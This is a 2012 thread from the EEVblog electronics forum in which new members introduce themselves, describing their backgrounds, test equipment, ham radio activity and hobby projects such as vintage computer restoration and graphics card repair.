Hey all,  I'm not an EE or anything close,  but as a hobby I have been trying to restore vintage computers and video game systems.  I decided if I am going to do this (and maybe more) as a hobby,  I need to learn to do it right.   Look forward to absorbing as much information I can, and look forward in building my confidence when I attempt all of my future repairs.
Title: Re: New Member, Please introduce yourself
Post by: pinchies on August 16, 2012, 12:02:39 pm
Hello! Another aussie here. I've done one electronics subject at uni, love to mess around with electronics/mechatronics projects.
Title: Re: New Member, Please introduce yourself
Post by: maiakaat on August 16, 2012, 01:53:37 pm
Hi

I'm Jodi, my background is in software engineering (degree), although recently I have begun to explore embedded electronics again, and am re-learning the stuff I didn't learn or forgot from dropping out of my computer engineering course over a decade ago, fortunately I realised I could go back to Uni as an adult student. (I thought learning something like software or electronics was not possible if you were past a certain age for some reason) I'm planning to work with the Raspberry Pi on some projects, although my focus is likely to be on software in the future.

I wish the internet was widely accessible and well established when I was a teen. :O), I hope young adults and kids realise wheat they have, although I am glad that we had computing at least, being born in the 40's would be terrible.
Title: Re: New Member, Please introduce yourself
Post by: PA4TIM on August 17, 2012, 10:11:34 pm
My name is Fred, i'm a HAM, pa4tim. 49 years old. My main intrest is in analog design, (micro) measurements, calibration, component behaviour and network analysis. I'm a fan of Jim Williams and Bob Pease. I like reading  a lot about analog desing and do many ( often unusual) measurement experiments. They vary from measuring the impedance of water up to trying to measure the skin effect on a bare wire, the complex impedance of batterys, but my favourites are capacitors. I can and have measured every aspect from them. Build my own fF meter and the next step will be aF.
I'm a member of some instrument groups on Yahoo, like the HP, GR , marconi, R&S and Tekscopes groups. Also very active on a Dutch forum called Circuits Online.

I collect, build, design and restore measusement gear.
I can measure uOhm to pOhm, pA tot A, aF to F, pH to H, nV to kV ect.
I have severals anlysers like 3 VNA's, several SA's, noiseanalyser ect
lots of scopes ( mini and maxi, 500 KHz tot 5 GHz) most of the big ones Tek mainframes. My only modern one is a 350MHz Hameg DSO ( my pride and joy after the disaster called Rigol DS1102 )

And about > 30 meters ( lost count) electrometers, spotgalvanometers, multimeters, powermeters, nuldetectors, ect, the oldest VTVM a 1948 GR1800 the newest DMM a Keithley 2000. Small simple analog meters from WW2 to things like simpson, unigor and AVO, digital from old 2,5 digit flukes to 7,5 digit solartron.

Lots of probes ( hi-Z, active, passive, current, HV ect)

Calibration gear ( guildline standard cells, 5 fluke and Philips calibrators, 3 kelvin varley dividers, ESI and GR standards)

Other stuff like pulsegenerators ( upto 250 MHz, sub-nano, HV) RF and function generators, curvetracer, powersuplys, lcr, esr meters

All sorts of bridges, most of then GR. (1620,1608,1650, marconi, boonton, HP)

One thing I must say, and not make friends with it I think:
I think am one of the few here that does not idolise cheap Chinese junk. I have not read all topics so i probably have the wrong picture , but that seems to be the only "nasty" tendency here. Lots of "fights" about which junk is the best, often based on nothing other then good looks or nice menus or compared to other junk ( sorry to say it like this) Probably because i am spoiled rotten working with quality stuff. ( old and new) i want to see in a test how accurate it is, what it does under changing temperature, or with half empty battery, or the noise level, channel separation, dead time, ect ect. Not if there is a dot instead of an invered cursor in a menu, if the pcb looks nice and if itis in a gift box ect.
For instance, the holy Rigol I had for two years. The probes went in the trashcsn after three months, the selectbutton worked half of the time after one and a half year and after it lost its triggerlevel knob i gave it away to a student with no budget. It just fell off like leaves in the authum, no wonder, a flimsy hollow shaft in a even thinner sleeve. Just plain old crap ( besides a high moise level, inaccurat measurements, the complete failure to capture runts, the jitter, the distorted waveforms in memory , things like Tr or amplitude that changes if you move the trace ect
 
Oh, be warned:
I can not give short answers  ;) they allways turn out a bit too long. Especially about scopes and multimeters and do

Do not mention the words ESR, capacitance or ESL in witch case i get over excited.

I came here after seeing some of steves videoblogs and alltough I have not seen all of them , I like them. He says what he thinks. Then while looking for info while repairing a PM2811 PSU i found this forum and decides to register.

So here I am.

Fred, PA4TIM.


Title: Re: New Member, Please introduce yourself
Post by: singera on August 17, 2012, 10:43:30 pm
Hey my name is Arnon Singer, almost 31 years old, live in israel, just finished my B.sc at HIT (Holon Instatute of Technology), now I do some courses in high current and voltage systems to have 3*250A licence I will finish about almost a year from now, my gradute project will be "development and building DC motor separate excited speed control using arduino controller" I will use 0.5-4HP motors.

I work with electronics since age 8.

also in this days Iam looking for a DSO about 400$ include shipping to israel.
Title: Re: New Member, Please introduce yourself
Post by: AndyC_772 on August 18, 2012, 12:38:33 pm
Hi all,

I'm a professional electronic engineer based in the UK. I have a degree and have been doing electronics full time for the last 15 years. I had my first multimeter when I was about 7 years old, and electronics has always been the thing I'm reasonably good at which people will actually pay me to do. That simple fact pretty much set my career path!

Looking forward to browsing for ideas, and you never know, I might even be able to contribute something useful once in a while too.

Andy
Title: Re: New Member, Please introduce yourself
Post by: poptones on August 18, 2012, 08:38:59 pm
Hello everyone! I'm a USian, been around the internets some years now and been an on again/off again engineer since I was 21 which was way more decades ago than I care to admit. Arrived here of course via the youtube channel, didn't even know this place existed until I saw Dave mention it in his latest drive time rant!

I have a long background in audio, dating back to my teenage years when I made a high end phono preamp. Did some massive posting on rahe, got courted by a couple of audio rags but I've recovered from all that and am focusing on the stuff that got me interested in electronics back when I was a kid - namely making cool stuff on a geurila budget. My latest projects involve music synthesizers, guitar amps and meditative instruments. I love analog electronics, working with vacuum tubes, and I love working with microcontrollers and - yes, Dave - programming in assembler!
Title: Re: New Member, Please introduce yourself
Post by: Ivanko1 on August 19, 2012, 12:53:43 am
Hi, my name is Ivan, i'm from Ukraine (Euro-2012, remember?:). I'm a beginner in radioelectronics.)))

P.s. Sorry for my bad english.)
Title: Re: New Member, Please introduce yourself
Post by: rocksoft on August 22, 2012, 09:58:39 am
Hi, name is Liam an embedded software engineer 20+ years from the UK. Finally registered after buying a uCurrent.
Title: Re: New Member, Please introduce yourself
Post by: Trevor Matthews on August 22, 2012, 10:34:54 am
Hi all

Been following Dave for a long time, you signed up on my forum once Dave 8)

I am a TV engineer in the UK. I run a forum for engineers at www.television-magazine-forum.co.uk (http://www.television-magazine-forum.co.uk)

I just published a review of the Mantis Elite that I have added to your Mantis post.

I am interested in all aspects of electronics but especially in trying to make much cheaper versions of BGA re-work equipment.
Us poor TV engineers can't afford the proper gear.  :'(
Title: Re: New Member, Please introduce yourself
Post by: furkan_aytac on August 22, 2012, 07:35:48 pm
Hii everyone i am from Turkey.Electronics eng. student.I want to improve myself automotive.As you know there is a lot of electronic circiuts in cars.And with EVs the power electronic becomes more important.So especially i want microprocessors , microcontrollers and power electronic.I am open every assistance.Books,videos,suggestions,conversations....Thanx in advance...
Title: Re: New Member, Please introduce yourself
Post by: rjk5378 on August 22, 2012, 11:33:19 pm
Hi. I'm Bob in Bethesda, Maryland (Washington DC area). I am a telecommunications attorney and an amateur radio licensee (KY3R), but still consider myself barely more than a beginner in electronics. Have been watching EEVBlog for several months now, and also went back and looked at most of the old ones from the beginning. Really like it. It is always entertaining, I have learned a great deal, but I must admit lots of times the stuff is over my head. But sometimes what is Greed to me one day, becomes crystal clear several weeks later once I learn more. Anyway, decided to see if I can figure out the forum and learn even more here--and, of course, have some fun. Thanks.
Title: Re: New Member, Please introduce yourself
Post by: Ultimation on August 24, 2012, 11:11:27 pm
Yo

I'm Andy from England. I'm going into second year at the University of Surrey in Guildford, and have been working as an intern this summer at a EE consultancy.
Did A-level electronics, learned a fair bit, learnt the most at a few months at an intern ship though. Sort of makes the education seem a bit rubbish.
My blog is here. (http://ultimationee.blogspot.com) I really need to get it off blogspot at some point.

I love to design and build, personal projects as well as work/university, it's far easier to find the motivation to finish ones at work though...
Still learning a lot, but also know a lot. So yeah, Hi.

Title: Re: New Member, Please introduce yourself
Post by: Stephenniall on August 26, 2012, 08:54:03 pm
Hey, I'm stephen. I'm 15 and from Manchester, In the UK.

Always trying to expand my knowledge !

Cheers,

Stephen
Title: Re: New Member, Please introduce yourself
Post by: frenky on August 28, 2012, 03:55:36 pm
Hi I'm Frenky a web developer from Slovenia. I have some EE education and in my spare time I love to play with electronics...
Title: Re: New Member, Please introduce yourself
Post by: Daniyal on August 31, 2012, 10:59:54 am
Hey all, This is Daniyal I'm a 4th year student at RMIT uni (Melbourne, AUS) studying electronics and communication engineering. I have been enjoying the blog for quite a bit of time and I also come to the forum some time, so I thought I should join the forum, anyway right now I'm at Augsburg, Germany doing a one year internship with Fujitsu, it's been pretty good except I studied more of the hardward stuff (like analog and digital circuits, RF circuits) at uni and thats where my interest is, but now I'm working at software R&D I don't know what to do or how should I think of this...   hope u all have a nice day :)
Title: Re: New Member, Please introduce yourself
Post by: cookie on August 31, 2012, 12:24:22 pm
hi everybody?I'm Maggie ,a student of  Université de Poitiers?located in Paris?No formal education in electric/electronics   but electronics is my hobby from early days....enjoying the blog
Title: Re: New Member, Please introduce yourself
Post by: firewalker on August 31, 2012, 12:28:49 pm
Welcome Maggie!

Alexander.
Title: Re: New Member, Please introduce yourself
Post by: tcort on August 31, 2012, 01:56:49 pm
Hi! I'm Tom. I'm a student in my final year of the Electronics Technology program at Heritage College in Gatineau, Quebec, Canada. I have a B.Sc. in Computer Science from Bishop's University, and I returned to school after a few years in the software industry to acquire the skills to enable me to get into embedded programming. I really enjoy watching the EEVBlog and listening to The Amp Hour podcast.
Title: Re: New Member, Please introduce yourself
Post by: wade on August 31, 2012, 10:02:37 pm
Hello, I am Wade, a software architect and engineer for the last 16 years originally from New Orleans, LA but I've been residing in the outskirts of Austin, TX for the past 9 years. I have been dabbling with electronics on and off since I was a small child but never did anything too serious. Recently I have been studying electronics with great focus (finally) and I am having a wonderful time learning, very similar to my very early days of learning computer programming. I am finally "getting it." I am in the early stages of building out my electronics lab in the very same room where my computer lab / guitar workstation resides (my home office). Yes, I've been rocking out on guitar too for over 22 years, but I also love the technical side of guitars (mechanical and electronics), amps (especially valve amps), effects, signal processing, etc.

Dave, love the vblog! I've only recently discovered it a couple weeks ago and I've been watching back episodes like crazy. Very helpful in many ways. I feel like I've been drinking from the electronics information fire hose. Keep it up!

To everyone else, this seems like a great electronics community. I hope to contribute!

Thanks,
Wade
Title: Re: New Member, Please introduce yourself
Post by: nelson on September 01, 2012, 07:46:11 am
Hello I'm Nelson from England. I'm 24 and a 2rd year student in power electronics.

Trying to expand my knowledge from here!

Thanks
Title: Re: New Member, Please introduce yourself
Post by: Stasiks on September 02, 2012, 01:54:46 am
Hi,
I am Martin from the Latvia , I am a wide range electronics of 10 years, forced to work as an electrician  :'( , since in the work is very much free time I have arranged good electronics lab  8)
Title: Re: New Member, Please introduce yourself
Post by: Topband RF on September 03, 2012, 10:03:25 am
Hello to all on the EEVblog.

       A little insight to myself, I have been very interested in R.F. for almost 25 years. I am 36 years old and a FCC licensed amateur radio operator for almost 25 years at this point. I found my passion @ 11 years old.. and have been involved in one way or another from that point to today. I have dabbled in RF communication and minor experimentation any where from 1.8 Mhz to 24 ghz with limited microwave exposure (pun very much intended). I stumbled on the EEVblogs on youtube.. and have been watching many many of them for the past 3 or 4 days. It has sparked something inside me that has always been there yet I never perused it due to my lack of knowledge, education and other various reasons, and that is my desire to learn how to create, design, learn & implement some of my personal ideas into actual usable , proper functioning devices. I tend to read more than ask questions, which is a personal flaw of mine, when I don't understand a concept or 'rule' persay.. I generally don't lose interest , rather I just put it in the back of my head and say ' I'll keep this for later '

Hopefully out of this blog and others activities within, I will learn a few things, and be able to begin to embark on having a more solid understanding of how to actually create my ideas mainly for my own personal use.

Title: Re: New Member, Please introduce yourself
Post by: aep9690 on September 03, 2012, 05:20:50 pm
Hey, I'm Andrew, an electrical engineer from Massachusetts.  I am getting my masters in Control Systems and Analog Circuit Design.
Title: Re: New Member, Please introduce yourself
Post by: electros6 on September 05, 2012, 02:48:21 am
Hi guys,
     
             Can anybody give me a idea about the circuit I need. Here is the specs . The circuit should on when power up and give a single shot pulse of around 10 secs and the circuit should got into power down ie. it should not react until it get reseted. Guys sorry about my English.
     
                 Any idea Please let me know

 Dave sir I am a very big fan of yours. You are my first teacher of electronics after my Engineering degree. Please suggest me any idea about the circuit I mentioned above. Based on your power supply design project I already did a power supply based on atmega16 & LM317  and its works very fine. Now I am trying to do scope based on your MKIII  but the user interface is GLCD. Please bless me to finish my project because this is my dream project.

Title: Re: New Member, Please introduce yourself
Post by: martinuy on September 06, 2012, 01:06:44 am
Hello everybody!

I'm Martin From Uruguay (south america at the same latitude of Australia!)
I work with a lot of electronic stuff, especially industrial measuring instruments, and I like it!

I found this blog a few months ago, was the best find of the internet in a long time!

See you soon!
Title: Re: New Member, Please introduce yourself
Post by: redline on September 06, 2012, 01:18:52 am
hi Im Brendan from Brisbane (Australia). Im a IT tech and have been getting more into my DIY hobby stuff, Auto electrics and general fixing stuff for people. EEVblog has been renewing my passion for pulling things aparet to see how they work. and sometime fix them .. lol . After the printer/copier teardown a while back i pulled a multifunction printer apart just for fun ... was great.
Title: Re: New Member, Please introduce yourself
Post by: urosg on September 07, 2012, 07:11:21 am
Hi all!

So the first post to EEVBlog Forum is a short introduction, as my username suggest my name is Uros and I come from Slovenia (not Slovakia), I've been dabbling with electronics a few years now as a hobby but my day job is computer programmer, so it's kind of a natural extension if you think about it ;)

Currently I'm mostly dealing with "prototypes" that I'm making, hopefully someday I'm gonna make something that doesn't finish in the waste bin.
Title: Re: New Member, Please introduce yourself
Post by: Oracle on September 10, 2012, 12:37:14 pm
Hi,

I'm Matthew, from Italy, I'm attending electrical school(last of 5 years) in Padua and I got 2 years electronic as subject, unfortunately i wasn't very good at it: new subject+ a severe teacher = 2/10 at my first test. The worst was that was only the first of a long series, when a day I was fed up to such a failure and i decided to make some projects and I started watching tutorials/video/how works thing like Ics and transistors(thanks Dave, you give me a real help) : after 1 month  i started to understand electronics, and finally i succeeded at school...and i had take electronic as my hobby because i realized you can do everything, (whit the right knowledge) .. Anyway my dream is to build up an electronic lab, but is really expansive, and I don't have enough money right now....

P.s: sorry if i didn't write my first post here, but i didn't see this topic...
Title: Re: New Member, Please introduce yourself
Post by: psycho0815 on September 10, 2012, 04:41:52 pm
Well then,
I'm Harm from Germany and my dayjob is software engineer, so branching out to microcontroller came kinda naturally. Lately i've been looking more into more classic electronicsstuff and i'm slowly getting more and more equipment and lots of projects. Hopefully i'll eventualy finish one of them.
Title: Re: New Member, Please introduce yourself
Post by: Alana on September 12, 2012, 03:48:51 pm
Anna from Poland.
Up until recently electronics was mainly a hobby from childhood and highschool times so i'm kinda expirienced with low cost DIY stuff. My daily job is PC and network fix-it-please girl but i'm thinking of going into electronics full time.
Title: Re: New Member, Please introduce yourself
Post by: tron9000 on September 12, 2012, 10:09:02 pm
Hello I'm Chris. I'm an electronic engineer in yorkshire england. I've worked on welders, operated and maintained giant ferris wheel, wired and assembled components for submersibles and underwater ROV's.

Currently designing electronics for analytical equipment. can't say too much! :-X

My second hobby is fixing and driving my landrover in offroad trails, good clean fun!!  ;D

Been a long time viewer of the EEVBlog, right interesting! Hopefully pick up some tips and offer some advice.

Cheers!
Title: Re: New Member, Please introduce yourself
Post by: M0BSW on September 15, 2012, 12:13:59 pm
 Hello Everyone,
My name is Paul I live in the city of Peterborough UK,I've been a radio amatuer for some Years done the morse code test for the HF licence, I have spent several of those years building antennas  ,antenna tuning units, baluns, & some audio filters, I have in the past 5 Years become more & more interested in Electronics and the building repairing side of the hobby, which  has brought me to this forum after watching Dave on You Tube & subscribing to it.
I've only got the really basic equipment Telequipment D61 A scope which I was given :), Black-Star function Generator, 5001 Universal frequency counter, my home made scope component tester following the design of W2AEW, which is my favourite piece of gear at the moment.
I have collected several meters over the years including one for inductance, and  another for capacitance/HZ I musn't forget my Velleman 5 mhz personal scope I believe its called supposed to be like a full scope , but in hand held form?, works OK though,.
So with your advice and help . I hope to become more proficient which this side of our wonderful hobby, hope I havent bored you to tears & Drink., Never said so much about  me, and its uncomfortable to.
That's it
so " Hello "
Title: Re: New Member, Please introduce yourself
Post by: LDSisHere on September 15, 2012, 02:42:03 pm
Hello,

My name is Lloyd and I live in Clarksville, TN in the US.  I have a B.S. in Computer Science with a minor in Engineering Technology.  In my spare time I like working with, building, and repairing electronic devices.  I sometimes do microcontroller programming/projects, etch my own circuit boards, computer repair, etc.  I was referred to a thread in this forum by RetiredCaps from the “BadCaps.net” forum and I liked what I saw here and thought I should join.  I am sure I will be able to learn a lot here and hopefully I will occasionally know something useful that will help others.  If anyone needs help with their Alienware FX chips or want to know about Dell power adapters to laptop communication I may can help, but I do not claim to be an expert.  Thanks for reading.
Title: Re: New Member, Please introduce yourself
Post by: iloveelectronics on September 16, 2012, 04:08:47 am
Hello all,

My name is Frank and I'm from Hong Kong. I have no formal electronics training background and am just a hobbyist. I used to build stuff like radios and amplifiers from schematics I found in magazines and books when I was a teenager (a couple of decades ago!) but never understood why or how things worked. Now with this inter web thingy learning becomes a lot easier and I got hooked again to this long lost hobby!

Being located in this part of the world means I have access to a lot of cheap (albeit low quality in most instances) electronics components and equipments, which doesn't help the addiction to buy more and more stuff I don't really need... I literally only have a "work bench" about 2 x 1 feet so I think I'm going to have to give away some stuff! I'll save this topic for another day.

Anyway, I thought I'd just pop in to say hi. If anyone needs help with Chinese made products (finding/buying or understanding instructions etc) I'd be happy to help. I read/write reasonable English (or so I'd like to believe anyway) so I hope I could be of some level of help to this wonderful community.

Cheers,
Frank
Title: Re: New Member, Please introduce yourself
Post by: maor on September 16, 2012, 02:50:16 pm
Hi!
My name is Maor Malka, and I'm studying practical engineering in Israel.
I started at electronics at the age of 14, the little craze when I first lit a led on a breadboard got me quite exited.
since then I studied at high school Electronics, Computers and Physics and now I study practical engineering at college.
Now I'm at my last trimester in practical engineering, during this time I am also working at a music store repairing guitars, amps and other electrical equipment

I'm now working on my final project in 14th grade practical engineering which will be an fpga based fiber optics communication interface.

I found the eevblog a couple of months ago and I have decided to join up.

So..., It's nice to meet you everyone!
Title: Re: New Member, Please introduce yourself
Post by: Pagweb on September 17, 2012, 12:59:10 am
Greetings,

My name is Marcos and I'm a Computer Science and Engineering Student at Florida Atlantic University. Electronics is not a core part of my degree but I've always been interested and became a hobbyist a few years ago after reading some literature about basic electronics. I can build simple circuit from scratch and I'm currently working on building my own power supply.

I've been following the eevblog on youtube since 2010, but it's not until now that I became a member of the forum. Hopefully I can learn new stuff from the pros here.

Anyway, that's just something about me.
I'll see ya around...
Title: Re: New Member, Please introduce yourself
Post by: swifty01 on September 18, 2012, 06:42:31 am
Hi all. My Name is Paul. been working in electronice for well over 40 years now. I enjoy radio (G0MIH) and communications and probegation. I have a long and wasted Ph.D in those old things that glow in the dark. Sadly no longer used well not much anyway.
Title: Re: New Member, Please introduce yourself
Post by: andreicek on September 18, 2012, 07:22:03 am
Hi all! My name is Andrei and I am from Croatia. EE is my exclusively my hobby since I am studying politics  :).
I am interested in Arduino and ATtiny chips. All what I've learnt about EE is from Internet, school books and bits and pieces from older friends.

I've been following EEVblog on YouTube for a couple of months now!

I hope to see you all soon over here!
Title: Re: New Member, Please introduce yourself
Post by: D design on September 26, 2012, 04:38:44 am
Hello, I'm Nathaniel and Im intrestied in everything electronic. Im quite a noob so dont know much but willing to learn. I just make hobbiest kits ect. I want to get into PIC/Arduno programming.
Title: Re: New Member, Please introduce yourself
Post by: ONe HuNg lOW on September 26, 2012, 06:39:46 pm
From America and I have been following this blog for about 1 and half.  I like most of his episodes but he keeps making fun of me.   ;D  Anyways I would like to know if anyone can help me find a blog on RF circuitry since Dave is really into quality and digital circuitry.
Title: Re: New Member, Please introduce yourself
Post by: smugtronix on September 26, 2012, 08:28:38 pm
I'm Ross, from the US. I'm a senior in high school, currently knee-deep in the college process. If all goes well, this time next year I should be studying EE at (insert decent to above average university here). I started out building out guitar effects on Veroboard, and now while that's all fun and good, in the grand scheme of learning electronics, it only teaches you the absolute basics (how resistors, capacitors, op-amps, stuff like that work). I think I'm ready to learn a bit more.
Title: Re: New Member, Please introduce yourself
Post by: Tuomas on September 27, 2012, 09:04:00 am
I'm Tuomas and I'm close to finishing my Bachelor's degree in embedded systems here in Finland and I do a lot of electronics on my spare time aswell. Some tidbits of information:
- Always looking to learn more about anything related to electronics.
- Full time Linux user/fanatic.
- Big fan of open source and open source hardware movements, but I try to be aware of their problems awell.
- I like AVRs, dislike Arduino.
Title: Re: New Member, Please introduce yourself
Post by: ONe HuNg lOW on September 27, 2012, 11:58:37 pm
Whats up with everyone mad at me!  It's just my name and I try my best to design electronics, LOL
Title: Re: New Member, Please introduce yourself
Post by: andete on September 30, 2012, 06:44:59 am
Hi,

I'm a Computer Scientist who has taken up electronics the last 2 years and really enjoys designing circuits, LED drivers, microcontrollers, ...
Besides electronics I enjoy playing with programming languages, photography and gardening.
I've been mostly lurking here for knowledge, but hope to use the forum more actively as I don't know many other people with a big interest in EE.

Joost
Title: Re: New Member, Please introduce yourself
Post by: Beef Supreme on September 30, 2012, 01:33:57 pm
hi, my name is philippe, im from germany and i dropped university about 2 years ago. i was studding technical informatics. i was just too lazy so i had to leave but it was okey.

my main hobbys are cutting some big vrm's from one computerpart to put it to another. what i do is related to improve overclocking graphics cards. im doing this not only for me, i do it for a forum and the guys there. and maybe a little bit for my satisfaction.

here is grafics card from nvidia, called gtx 295, only the vrm survived. it has 3 powerstages from volterra which can handle about 40 amps and about 2volts. so its output is about 240watts. the datasheets are unter n.d.a. but you know  ;)
http://www.abload.de/img/dscn59950mqss.jpg (http://www.abload.de/img/dscn59950mqss.jpg)

here is the other grafics card, a 8800gts from nvdia. this card had a few burned powermosfets. some big wires are need to feed the card because a lot of amps cause a voltage drop over the wires resistance.
http://www.abload.de/img/dscn6036wjrfa.jpg (http://www.abload.de/img/dscn6036wjrfa.jpg)

after i replaced the dead vrm part its running again. i mean there were some more steps and secrets involved but the result is perfect.
http://www.abload.de/img/dscn6046x0q95.jpg (http://www.abload.de/img/dscn6046x0q95.jpg)

thats what iam doing.

heres another work.
http://www.abload.de/img/dscn605924xtu.jpg (http://www.abload.de/img/dscn605924xtu.jpg)


i found dave's blog just by accident. ;D

btw, no doubt, my equipment is cheap-o but its working, i also have to affort the dead hardware, cuz some working parts could hurt me about 1000$.

so. here i am. :)
Title: Re: New Member, Please introduce yourself
Post by: WA5DC on September 30, 2012, 05:31:13 pm
Hello from Houston, Texas. My name is Bill. I have been working as an electrical technician for 30 years and have been a licensed Ham for 21 years. I started out in consumer electronics, specializing in two way radio. Last 18 years have been in the industrial environment, process control and robotics. I maintain a lab similar to Dave's at my home. I am always testing some type of instrumentation device or tearing down failed devices to learn more about cause and effect. You can never stop learning.
Title: Re: New Member, Please introduce yourself
Post by: TheBrick on October 03, 2012, 07:21:26 pm
Not an EE my any stretch. Stumbled into the game for fun due to having to interface with some hardware via modbus at work, started to gain an interest and want to learn more.
Title: Re: New Member, Please introduce yourself
Post by: RyanMatthew on October 04, 2012, 07:53:53 am
Hi Friends !!! 8)

Congratulation to all of you. I'm new member join in this forum. I will introduce myself. My name is Ryan Matthew, This is my first-post. I am interested in this board it is important topic to be discussed. I like to join in this forum to meet friends share my thoughts and gain some knowledge through this forums, I have a lot of knowledge about Electronics Manufacturing Service. Please let me know if you have any specific questions and i will answer for you. I hope all friends will corporate with me.

I am waiting for your reply.

Thank you.
Ryan Matthew
Title: Re: New Member, Please introduce yourself
Post by: HVAC Guy on October 04, 2012, 11:20:56 pm
Hi, my name is Paul and I am from the Capital area (Albany) of New York state in the US. I work as an HVAC tech and found this while researching some new equipment for work. I don't know much about electronics but I always like to learn new things. I currenrly use a Fluke 116 and 321 for work and was interested in learning more about them. I hope you guys can excuse my stupid questions without making too much fun of me.
Title: Re: New Member, Please introduce yourself
Post by: davefromamericanotaustria on October 05, 2012, 01:03:09 am
Hello! I've been following that crazy bloke from Australia (not Austria) for well over a year now. Although I have a degree in electrical engineering, I actually run a plumbing & mechanical contracting business near Chicago, Illinois, USA. It's hard to believe how much 1) I've learned from Dave and 2) that I failed to learn in college! Just spent <$9 (including postage) on capacitors to fix my $2,000 refrigerator's $175 control board.  The 'fridge happened to crap out shortly after I watched Dave's flat-screen-saving dumpster diving adventure, so it was no surprise at all to see a few bulging one-hung-low (or as I like to call them, Long Duk Dong) electrolytics.  Pain in the ass to remove the conformal coating to change out the caps, but the 'fridge is now happily humming along, good as new.  Thanks Dave!  I'm looking forward to seeing what goes on in the famous EEVBlog Forum...  Cheers!
Title: Re: New Member, Please introduce yourself
Post by: midasgossye on October 06, 2012, 10:40:42 am
Hi, I'm Midas from Belgium and I'm very interested in electronics.
I'm following dave for 2 months now, and i think i've seen all of his video's! :D

I study industrial science in high school.
I'm also interested in arduino and beaglebone.
I've been busy on a project, it's called the Bikeduino and you can read more about it here http://www.instructables.com/id/BIKEDUINO-Stopping-Point-Predictor-for-bike-ri/ (http://www.instructables.com/id/BIKEDUINO-Stopping-Point-Predictor-for-bike-ri/).
We have won the challenge with our project and got an arduino mega ADK.

So, this was my introduction.
Hope you liked it!

Greetings,
Midas
Title: Re: New Member, Please introduce yourself
Post by: DL8RI on October 06, 2012, 01:43:24 pm
Hi,

my name is Martin and I'm from Germany.
Right now I study MSc. Electrical-Engineering (Communications/RF) at a University here... I'm into electronics since... well... since ever... maybe :D

At the moment I'm rebuilding my lab/mancave/junkyard (depends who you ask ;) ), so it's quite messy (sorry for that):

(http://www.abload.de/thumb/werkstattdkqpp.jpg) (http://www.abload.de/image.php?img=werkstattdkqpp.jpg) (http://www.abload.de/thumb/werkstatt2wgry1.jpg) (http://www.abload.de/image.php?img=werkstatt2wgry1.jpg)

I have quite a lot RF-Stuff for HAM-Applications... mostly from Rohde & Schwarz... But also Audio, Digital and other things.
Over the years it's accumulated to a rather wide "collection" of nearly all major Brands of Test-Equipment. There are some rather seldom sold units like the ESI "Video Bridge" 2110 RLC-Meter. Because of this, a complete description of Everything would be quite a lot of work... if someone is interested in a specific instrument just ask, I will write something :)

73
Martin
Title: Re: New Member, Please introduce yourself
Post by: zorthgo on October 07, 2012, 02:05:55 pm
      Hi everybody! Let me introduce myself. My name is Jay and I stumbled upon Dave's blog about 8 months ago when I was searching for material on how to solder components on a PCB. Have been following his blog ever since (LOVE YOUR BLOG DAVE). I am currently a Computer Engineering senior at Florida Atlantic University here in the US, and about to start on my masters. Frankly I thought I would be building giant robots to conquer the world by now (LOL!). But in reality I have all this theoretical knowledge but not enough practical experience. So, I've decided to take matters into my own hands by build my very own electronics lab and start doing some projects on my own. Hurraaay! Wish me luck! And see you guys around the forum!  ;)
Title: Re: New Member, Please introduce yourself
Post by: repo on October 07, 2012, 02:43:21 pm
Hulloh everyone!

I'm Peter, and I live in Helsinki, Finland.

I'm an electronics hobbyist, and general maker and tinkerer. I haven't done any electronics for the last, oh, at least a year, probably more, being busy with other stuff (woodworking and blacksmithing, mostly). I've been watching the EEVblog regularly though, which never fails to be interesting and entertaining. Then the other day while cleaning I found some old unfinished projects -- a bench power supply that's otherwise complete but needs to be cased up, and a half-finished Arduinome (http://en.wikipedia.org/wiki/Arduinome) that I think I got the first parts for back in 2008, hah! Felt inspired, so I decided to dive back in, and sign up here while I'm at it!

I'm a pretty dedicated treehugger, so I'm mostly interested in various sorts of "green" projects, appropriate technology and that sort of thing. You're more likely to find me hacking something together from salvaged parts than designing my own PCBs, basically. I work as a graphic artist, but one of the nice perks about the job is that there's a lot of old computer hardware and electronics floating around at my workplace, and if I find something useful I'm more than happy to fish it out of the trash and give it a new life. I'll probably end up posting some of that in the future.

Cheers!
- Peter
Title: Re: New Member, Please introduce yourself
Post by: necroscope on October 08, 2012, 12:28:21 pm
Hi my name is Ben,i am from australia,I am a beginner in electronics and have developed a passion for the hobby by slowly learning to fix the pcb's in my old arcade machines over the last few years,I am at the point where i am just about to buy my first scope and Just about to build my first kit a silicon chip ESR meter,Decided i needed one after watching dave's you tube video on fixing the lcd monitor(Btw dave if you read this I love your video blogs mate and i am an avid follower hope you keep them up) Anyway i joined the forum to learn so i guess i better get reading.
Title: Re: New Member, Please introduce yourself
Post by: trilium on October 09, 2012, 10:09:04 am
Greetings!  Watching EEVblog on youtube inspired me to get back into school and finish my computer engineering degree!  So now here I am, back in lovely Utica, NY.  90% of the stuff that gets discussed goes right over my head, but hopefully I'm not so rusty that I'll be ignorant of it forever.
Title: Re: New Member, Please introduce yourself
Post by: hp-ph on October 09, 2012, 05:09:40 pm
Hello,I'm from Slovenia and one of my hobby is also to repair musical instruments,like keyboard and digital pianos.
Title: Re: New Member, Please introduce yourself
Post by: Mehran on October 09, 2012, 08:49:05 pm
Hi guys

i am a gas engineer in the UK, love that crazy aussie bloke. hope to get some help doing some electronics!
Title: Re: New Member, Please introduce yourself
Post by: loscha on October 13, 2012, 11:51:54 pm
Edward
Noble Park, Victoria.
34.
Hobbyist. Never finished that degree in TAFE, got sick.

Primary interests: Musical synthesizers and other equipment from the early to late 80s (Casios and Yamahas a specialty), Guitar pedals, modern equipment, too.

I got my first job (not Electronics related) by answering the question why I really wanted the job by saying "I want to buy more shit that plugs into other shit".
Title: Re: New Member, Please introduce yourself
Post by: Martin.M on October 14, 2012, 04:58:03 am
hello from germany.

My hobby is the care and collecting of old glowing test gear, specially Scopes, a lot of Tek Scopes.

greetings
Martin
Title: Re: New Member, Please introduce yourself
Post by: KF5OBS on October 15, 2012, 01:48:06 am
Hey everyone,

my name is Sebastian, I am 24 years young and I am - just like most of you - an electronics enthusiast. I love RF and RF related topics. My username, KF5OBS,is my amateur radio call-sign. I build most of my amateur radio gear myself and I am not afraid of DIY projects with very high frequencies. My highest accomplishment is the 10 GHz amateur radio band so far.

